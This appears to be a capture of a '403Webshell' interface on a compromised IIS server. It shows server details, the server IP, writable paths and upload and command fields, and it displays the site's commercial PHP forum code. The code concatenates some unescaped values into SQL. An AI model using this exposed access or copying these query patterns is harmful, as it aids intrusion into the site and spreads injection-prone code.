403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/chatme24.com/wwwroot/_include/current/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/chatme24.com/wwwroot/_include/current//forum.php
<?php
/* (C) Websplosion LLC, 2001-2021

IMPORTANT: This is a commercial software product
and any kind of using it must agree to the Websplosion's license agreement.
It can be found at http://www.chameleonsocial.com/license.doc

This notice may not be removed from the source code. */

require_once(dirname(__FILE__) . "/video_hosts.php");
require_once(dirname(__FILE__) . "/outside_images.php");

class CForum
{
    static $m_settings = null;

    static $smileys = array(
	       ':D' => 'img/forum/smilies/biggrin.gif',
	       ':o' => 'img/forum/smilies/redface.gif',
	       ':)' => 'img/forum/smilies/smile.gif',
	       ':(' => 'img/forum/smilies/frown.gif',
	       ':confused:' => 'img/forum/smilies/confused.gif',
	       ':mad:' => 'img/forum/smilies/mad.gif',
	       ':p' => 'img/forum/smilies/tongue.gif',
	       ';)' => 'img/forum/smilies/wink.gif',
	       ':rolleyes:' => 'img/forum/smilies/rolleyes.gif',
	       ':cool:' => 'img/forum/smilies/cool.gif',
	       ':eek:' => 'img/forum/smilies/eek.gif',
	   );

	static function make_smiley($text)
	{
		global $g;

		foreach(self::$smileys as $smiley => $image)
		{
			$text = str_replace($smiley, '<img src="' . $g['tmpl']['url_tmpl_main'] . $image . '" />', $text);
		}

		return $text;
	}

    static function user_update_n_messages($user_id)
    {
        $n_messages = CForumTopic::count_by_user_id($user_id);
        $n_messages += CForumMessage::count_by_user_id($user_id);

        DB::execute("
            UPDATE `user` SET
            forum_n_messages = " . to_sql($n_messages, 'Number') . "
            WHERE user_id = '" . to_sql($user_id, 'Number') . "'
            ");
    }

    static function settings()
    {
        global $g_user;

        if(!self::$m_settings)
        {
            self::$m_settings = DB::row("SELECT * FROM forum_setting WHERE user_id = " . $g_user['user_id'] . " LIMIT 1");
            if(!self::$m_settings)
            {
                self::$m_settings = array('sort_by' => 'last_post', 'sort_by_dir' => 'desc');
            }
        }

        return self::$m_settings;
    }

    static function setting_set($name, $value)
    {
        self::settings();

        self::$m_settings[$name] = $value;
    }

    static function settings_save()
    {
        global $g_user;

        self::settings();

        if(isset(self::$m_settings['setting_id']))
        {
            DB::execute("UPDATE forum_setting SET sort_by = " . to_sql(self::$m_settings['sort_by']) .
               ", sort_by_dir = " . to_sql(self::$m_settings['sort_by_dir']) .
               " WHERE user_id = " . $g_user['user_id']);
        }
        else
        {
            DB::execute("INSERT INTO forum_setting SET sort_by = " . to_sql(self::$m_settings['sort_by']) .
               ", sort_by_dir = " . to_sql(self::$m_settings['sort_by_dir']) .
               ", user_id = " . $g_user['user_id']);
        }
    }
}

class CForumCategory
{
    static function create_new($title)
    {
        $sort_rank = DB::result("SELECT MAX(sort_rank) FROM forum_category");
        $sort_rank = $sort_rank ? ($sort_rank + 1) : 1;
    	DB::execute("INSERT INTO forum_category SET " .
           "title = " . to_sql($title, "Text") . ", " .
           "sort_rank = $sort_rank, ".
           "created_at = NOW(), ".
           "updated_at = NOW() ".
           "");

        $id = DB::insert_id();

        return $id;
    }

    static function save($data)
    {
    	DB::execute("UPDATE forum_category SET " .
           "title = " . to_sql($data['title'], "Text") . ", " .
    	   "sort_rank = " . to_sql($data['sort_rank'], "Text") . ", " .
           "updated_at = NOW() ".
           "WHERE id = " . to_sql($data['id'], "Number") . " LIMIT 1");
    }

    static function order_change($id, $up)
    {
    	$item = self::retrieve_by_id($id);
    	if($item)
    	{
            $swap_item = DB::row("SELECT * FROM `forum_category` WHERE sort_rank " . ($up ? '<' : '>') . " " . $item['sort_rank'] . " ORDER BY sort_rank " . ($up ? "DESC" : "ASC") . " LIMIT 1;");
            if($swap_item)
            {
                $rank = $item['sort_rank'];
                $item['sort_rank'] = $swap_item['sort_rank'];
                $swap_item['sort_rank'] = $rank;

                self::save($item);
                self::save($swap_item);
            }
    	}
    }

    static function delete_by_id($id)
    {
        $category = self::retrieve_by_id($id);

        $forums = CForumForum::select_by_category_id($id);

        foreach($forums as $forum)
            CForumForum::delete_by_id($forum['id']);

        DB::execute("DELETE FROM `forum_category` WHERE `id` = " . to_sql($id, 'Number') . " LIMIT 1;");
    }

	static function retrieve_all()
	{
	   	DB::query("SELECT * FROM `forum_category` ORDER BY sort_rank, id;");

	   	$results = array();

	   	while($row = DB::fetch_row())
	   	{
	   		$results[] = $row;
	   	}

        return $results;
	}

    static function retrieve_by_id($id)
    {
        DB::query("SELECT * FROM `forum_category` WHERE `id` = " . to_sql($id, 'Number') . " LIMIT 1;");

        if($row = DB::fetch_row())
        {
            return $row;
        }

        return null;
    }
}

class CForumForum
{
    static function create_new($category_id, $title, $description)
    {
        $sort_rank = DB::result("SELECT MAX(sort_rank) FROM forum_forum");
        $sort_rank = $sort_rank ? ($sort_rank + 1) : 1;

        DB::execute("INSERT INTO forum_forum SET " .
           "category_id = " . to_sql($category_id, "Number") . ", " .
           "title = " . to_sql($title, "Text") . ", " .
           "description = " . to_sql($description, "Text") . ", " .
           "sort_rank = $sort_rank, ".
           "n_topics = 0, ".
           "n_messages = 0, ".
           "created_at = NOW(), ".
           "updated_at = NOW() ".
           "");

        $id = DB::insert_id();

        return $id;
    }

    static function save($data)
    {
        DB::execute("UPDATE forum_forum SET " .
            "title = " . to_sql($data['title'], "Text") . ", " .
            "description = " . to_sql($data['description'], "Text") . ", " .
            "sort_rank = " . to_sql($data['sort_rank'], "Text") . ", " .
            "updated_at = NOW() ".
            "WHERE id = " . to_sql($data['id'], "Number") . " LIMIT 1");
    }

    static function delete_by_id($id)
    {
        $forum = self::retrieve_by_id($id);

        $topics = CForumTopic::select_by_forum_id($id);

        foreach($topics as $topic)
            CForumTopic::delete_by_id($topic['id']);

        DB::execute("DELETE FROM `forum_forum` WHERE `id` = " . to_sql($id, 'Number') . " LIMIT 1;");
    }

    static function order_change($id, $up)
    {
        $item = self::retrieve_by_id($id);
        if($item)
        {
            $swap_item = DB::row("SELECT * FROM `forum_forum` WHERE sort_rank " . ($up ? '<' : '>') . " " . $item['sort_rank'] . " ORDER BY sort_rank " . ($up ? "DESC" : "ASC") . " LIMIT 1;");
            if($swap_item)
            {
                $rank = $item['sort_rank'];
                $item['sort_rank'] = $swap_item['sort_rank'];
                $swap_item['sort_rank'] = $rank;

                self::save($item);
                self::save($swap_item);
            }
        }
    }

	static function select_by_category_id($category_id)
    {
        DB::query("SELECT * FROM `forum_forum` WHERE `category_id` = " . to_sql($category_id, 'Number') . " ORDER BY sort_rank, id;");

        $results = array();

        while($row = DB::fetch_row())
        {
            $results[] = $row;
        }

        return $results;
    }

    static function retrieve_by_id($id)
    {
        DB::query("SELECT * FROM `forum_forum` WHERE `id` = " . to_sql($id, 'Number') . " LIMIT 1;");

        if($row = DB::fetch_row())
        {
            return $row;
        }

        return null;
    }

    static function update_n_topics($id)
    {
    	$n_topics = CForumTopic::count_by_forum_id($id);

    	DB::execute("
            UPDATE `forum_forum` SET
            n_topics = " . to_sql($n_topics, 'Number') . ",
            updated_at = NOW()
            WHERE id = '" . to_sql($id, 'Number') . "'
            ");
    }

    static function update_n_messages($id)
    {
        $n_messages = CForumTopic::sum_n_messages_by_forum_id($id);

        DB::execute("
            UPDATE `forum_forum` SET
            n_messages = " . to_sql($n_messages, 'Number') . ",
            updated_at = NOW()
            WHERE id = '" . to_sql($id, 'Number') . "'
            ");
    }
}

class CForumTopic
{
    static $outside_image_sizes = array(
        array(
            'width' => 495,
            'height' => 370,
            'allow_smaller' => true,
            'file_postfix' => 'th',
            ),
    );

    static function retrieve_by_id($id)
    {
        DB::query("SELECT * FROM `forum_topic` WHERE `id` = " . to_sql($id, 'Number') . " LIMIT 1;");

        if($row = DB::fetch_row())
        {
            return $row;
        }

        return null;
    }

    static function select_by_forum_id($forum_id, $limit = 0, $skip = 0, $order_by = 'thread', $order_by_dir = '')
    {
        $order_query = "ORDER BY updated_at DESC";

        switch($order_by)
        {
        	case 'thread':
                $order_query = "ORDER BY title " . $order_by_dir;
        		break;
            case 'replies':
                $order_query = "ORDER BY n_messages " . $order_by_dir;
                break;
            case 'last_post':
                $order_query = "ORDER BY updated_at " . $order_by_dir;
                break;
            case 'views':
                $order_query = "ORDER BY n_views " . $order_by_dir;
                break;
        }

    	DB::query("SELECT * FROM `forum_topic` WHERE `forum_id` = " . to_sql($forum_id, 'Number') . " " . $order_query .
            ($limit ? (" LIMIT " . $skip . ", " . $limit) : ""));

        $results = array();

        while($row = DB::fetch_row())
        {
            $results[] = $row;
        }

        return $results;
    }

    static function count_by_forum_id($forum_id)
    {
    	return DB::result("SELECT COUNT(id) FROM `forum_topic` WHERE `forum_id` = " . to_sql($forum_id, 'Number'));
    }

    static function count_by_user_id($user_id)
    {
        return DB::result("SELECT COUNT(id) FROM `forum_topic` WHERE `user_id` = " . to_sql($user_id, 'Number'));
    }

    static function sum_n_messages_by_forum_id($forum_id)
    {
        return DB::result("SELECT SUM(n_messages) FROM `forum_topic` WHERE `forum_id` = " . to_sql($forum_id, 'Number'));
    }

	static function retrieve_last_updated_topic_by_forum_id($forum_id)
    {
        DB::query("SELECT * FROM `forum_topic` WHERE `forum_id` = " . to_sql($forum_id, 'Number') . " ORDER BY updated_at DESC LIMIT 1;");

        if($row = DB::fetch_row())
        {
            return $row;
        }

        return null;
    }

    static function create_new($forum_id, $user_id, $title,  $message)
    {

    	DB::execute("INSERT INTO forum_topic SET " .
    	   "forum_id = " . to_sql($forum_id, "Number") . ", " .
    	   "user_id = " . to_sql($user_id, "Number") . ", " .
    	   "title = " . to_sql(strip_tags($title,"<b><i><u><center><span>"), "Text") . ", " .
    	   "message = " . to_sql(CForumMessage::filter_text_to_db($message), "Text") . ", " .
    	   "n_messages = 0, ".
    	   "n_views = 0, ".
    	   "created_at = NOW(), ".
    	   "updated_at = NOW() ".
    	   "");

    	$id = DB::insert_id();

        CForumForum::update_n_topics($forum_id);
        CForum::user_update_n_messages($user_id);

        Wall::setSiteSectionItemId($id);
        Wall::add('forum_thread', $id);

        return $id;
    }

    static function delete_by_id($id)
    {
        $topic = self::retrieve_by_id($id);

        $messages = CForumMessage::select_by_topic_id($id);

        foreach($messages as $message)
            CForumMessage::delete_by_id($message['id']);

        OutsideImages::on_delete($topic['message']);
        DB::execute("DELETE FROM `forum_topic` WHERE `id` = " . to_sql($id, 'Number') . " LIMIT 1;");

        Wall::removeBySiteSection('forum', $id);

        CForumForum::update_n_topics($topic['forum_id']);
        CForum::user_update_n_messages($topic['user_id']);
    }

    static function update_n_messages($id)
    {
        $n_messages = CForumMessage::count_by_topic_id($id);

        $sql = "UPDATE `forum_topic` SET
            n_messages = " . to_sql($n_messages, 'Number') . ",
            n_views = n_views,
            updated_at = NOW()
            WHERE id = '" . to_sql($id, 'Number') . "'
            ";
        DB::execute($sql);

        $topic = self::retrieve_by_id($id);
        CForumForum::update_n_messages($topic['forum_id']);
    }

    static function increment_n_views($id)
    {
        DB::execute("
            UPDATE `forum_topic` SET
            n_views = n_views + 1
            WHERE id = '" . to_sql($id, 'Number') . "'
            ");
    }
}

class CForumMessage
{

    static $outside_image_sizes = array(
        array(
            'width' => 495,
            'height' => 370,
            'allow_smaller' => true,
            'file_postfix' => 'th',
            ),
    );

    const ALLOWTAGS = '<b><i><u><s><strike><strong><em>';
    const VIDEOSTARTTAG = '<div class="forum_video">';
    const VIDEOENDTAG = '</div><br/>';
    static $videoWidth = 495;


    static public function stags($str)
    {
        return strip_tags_attributes($str, self::ALLOWTAGS);
    }

    static function filter_text_to_db($v, $parse_media = true, $old_text = null)
    {
        if($parse_media)
        {
           $v = VideoHosts::textUrlToVideoCode($v);
           $v = VideoHosts::filterToDb($v);
           $v = OutsideImages::filter_to_db($v, $old_text);
        }
        //$v = str_replace("\r\n", "\n", $v);
        //$v = str_replace("\r", "\n", $v);
        $v = self::stags($v);
        //$v = htmlspecialchars($v, ENT_QUOTES);
        $v = trim($v);
        return $v;
    }

    static function filter_text_to_html($text, $parse_media = true, $startTag = self::VIDEOSTARTTAG, $endTag = self::VIDEOENDTAG)
    {
        $text = self::_filterLinksTagsToHtml($text);
        if($parse_media)
        {
            $text = VideoHosts::filterFromDb($text, $startTag, $endTag, self::$videoWidth);
            $text = OutsideImages::filter_to_html($text, $startTag, $endTag, "lightbox");
        }
        $text = self::_filterRemoveUnusedTags($text);
        $text= preg_replace("/\n+/si", "\n", $text);
        $text = nl2br(trim($text));
        return $text;
    }


    static protected function _filterLinksTagsToHtml($text)
    {

	return Common::parseLinks($text);

	/*
        global $g;
        $ends = explode("|", " |\n|,|)|(");
        foreach ($ends as $end) {
            $grabs = grabs($text, 'http://', $end, true);
            foreach ($grabs as $gr) {
                $gr = trim($gr);
                $text = str_replace($gr, '<a href="' . $gr . '">' . $gr . '</a>', $text);
            }
        }
        return $text;
	*/
    }

    static protected function _filterRemoveUnusedTags($text)
    {
        $grabs = Common::grabsTags($text);
        //$grabs = grabs($text, '{', '}', true);
        foreach ($grabs as $gr) {
            $text = str_replace($gr, "", $text);
        }
        return $text;
    }

    static function retrieve_by_id($id)
    {
        DB::query("SELECT * FROM `forum_message` WHERE `id` = " . to_sql($id, 'Number') . " LIMIT 1;");

        if($row = DB::fetch_row())
        {
            return $row;
        }

        return null;
    }

    static function delete_by_id($id)
    {
        $message = self::retrieve_by_id($id);
        OutsideImages::on_delete($message['message']);
    	DB::execute("DELETE FROM `forum_message` WHERE `id` = " . to_sql($id, 'Number') . " LIMIT 1;");
    	CForumTopic::update_n_messages($message['topic_id']);
        //CForum::user_update_n_messages($message['user_id']);
        Wall::remove('forum_post', $id, 0);
    }

	static function retrieve_last_updated_message_by_topic_id($topic_id)
    {
        DB::query("SELECT * FROM `forum_message` WHERE `topic_id` = " . to_sql($topic_id, 'Number') . " ORDER BY updated_at DESC LIMIT 1;");

        if($row = DB::fetch_row())
        {
            return $row;
        }

        return null;
    }

    static function select_by_topic_id($topic_id, $limit = 0, $skip = 0)
    {
        DB::query("SELECT * FROM `forum_message` WHERE `topic_id` = " . to_sql($topic_id, 'Number') . " ORDER BY id" .
            ($limit ? (" LIMIT " . $skip . ", " . $limit) : ""));

        $results = array();

        while($row = DB::fetch_row())
        {
            $results[] = $row;
        }

        return $results;
    }

    static function create_new($topic_id, $user_id, $title, $message)
    {

        DB::execute("INSERT INTO forum_message SET " .
           "topic_id = " . to_sql($topic_id, "Number") . ", " .
           "user_id = " . to_sql($user_id, "Number") . ", " .
           "title = " . to_sql($title, "Text") . ", " .
           "message = " . to_sql(self::filter_text_to_db($message), "Text") . ", " .
           "created_at = NOW(), ".
           "updated_at = NOW() ".
           "");

        $id = DB::insert_id();

        Wall::setSiteSectionItemId($topic_id);
        Wall::add('forum_post', $id);

        CForumTopic::update_n_messages($topic_id);
        CForum::user_update_n_messages($user_id);

        return $id;
    }

    static function count_by_topic_id($topic_id)
    {
        return DB::result("SELECT COUNT(id) FROM `forum_message` WHERE `topic_id` = " . to_sql($topic_id, 'Number'));
    }

    static function count_by_user_id($user_id)
    {
        return DB::result("SELECT COUNT(id) FROM `forum_message` WHERE `user_id` = " . to_sql($user_id, 'Number'));
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit